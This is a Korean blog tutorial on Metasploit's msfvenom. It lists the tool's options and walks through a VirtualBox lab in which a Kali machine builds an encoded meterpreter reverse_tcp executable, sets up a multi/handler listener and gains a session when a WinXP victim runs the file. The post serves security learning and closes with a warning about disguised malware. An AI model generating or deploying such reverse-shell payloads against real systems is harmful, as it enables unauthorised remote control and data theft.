Msfvenom
Metasploit Framework 안에 유용한 도구인 msfpayload, msfencode 등 여러 도구가 포함되어 있는데 msfvenom은 모든 기능을 집합한 단일 도구에 결합을 하여 한줄 코드로 exploit 실행 파일 및 악성 쉘 코드 제작이 가능합니다.
Msfvenom 사용법
옵션 | 설명 |
-h | 도움말 |
-l all | 페이로드, 인코딩, NOP 종류 및 사용방법 |
--help-format | 출력 포맷 |
-p | 페이로드 ex) /windown/shell/bind_tcp |
-o | 저장할 파일 이름 |
-e | 인코딩 방식 |
-i | 인코딩 횟수 |
-a | 아키텍처(x86) |
--platform | 운영체제 |
-b | 샐성할 페이로드에서 제외할 문자 지정 |
-c | 기존 페이로드 추가 ex) 기존 제작된 msfvenom 파일 추가 |
실습 환경
virtualBox ( kali 2019 <-> WinXP )
[공격 순서]
kali: msfvenom 생성 -> service postgresql -> msfconsole -> multi/handler -> 리스너
WinXP: msfvenom 파일 다운로드 -> 실행 -> 세션 연결
kali
1) 명령어 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -o payload.exe
msfvenom 제작 과정으로 -p 페이로드, -e 인코딩, -o 실행파일 제작 옵션을 사용
2) msfconsole
* db 사용하실 분은 msfconsole 명령어 입력 전에 service postgresql 사용
3) handler 설정
multi/handler의 기존 payload에서는 옵션 설정이 없으므로 다른 payload로 설정해준다.
VictimPC에서 악성파일을 실행 시켜 Kali로 세션을 붙을 예정이므로 reverse_tcp payload를 설정한다.
reverse_tcp payload는 기본 설정에서 Lhost가 공란이므로 Lhost를 자기 ip로 설정한다.
multi/handler 설정 완료 되었으므로 실행을 해준다.
실행 후 세션을 리스너하면서 상대방이 연결하여 통신되기를 기달린다.
WinXP
Kali에서 msfvenom을 사용하여 제작한 payload 파일을 WinXP에 가져와서 실행시키면 된다.
WinXP에서 실행시키면 payload는 아무것도 실행안된 것처럼 보이지만 background에서 payload.exe가 착실히 실행되는 것을 확인 할 수 있다.
payload.exe는 지정된 ip로 세션통신을 시도하려고 한다.
payload.exe가 정상적으로 실행되면 설정된 ip로 세션 통신을 시도하면서 칼리에서 리스너를 설정하고 있을 시 정상적으로 통신이 이루어지면서 meterpreter가 실행되면서 공격자 PC는 희생자 PC에 정보수집 및 악성파일 삽입을 할 수 있다.
* 인터넷 상에서는 정상적인 파일로 위장한 악성파일이 많이 있으며 주의를 가지고 실행하여야 한다. 그렇지 아니하면 본인도 모르는 사이에 미상인 해커의 PC와 세션통신을 하고 있을 가능성이 있다.
'보안 > Kali' 카테고리의 다른 글
VirtualBox-Ubuntu drag & drop 사용법_게스트 확장 (0) | 2020.09.08 |
---|---|
metasploit- Search for file in target system[시스템 파일 찾기] (0) | 2020.08.31 |
Metasploit - client-side_adobe flash 공격 실습 및 분석 (0) | 2020.08.28 |
[metasploit] freeftpd_pass 취약점 분석 (0) | 2020.08.25 |
[metasploit] freeftpd_pass 취약점 실습 (0) | 2020.08.23 |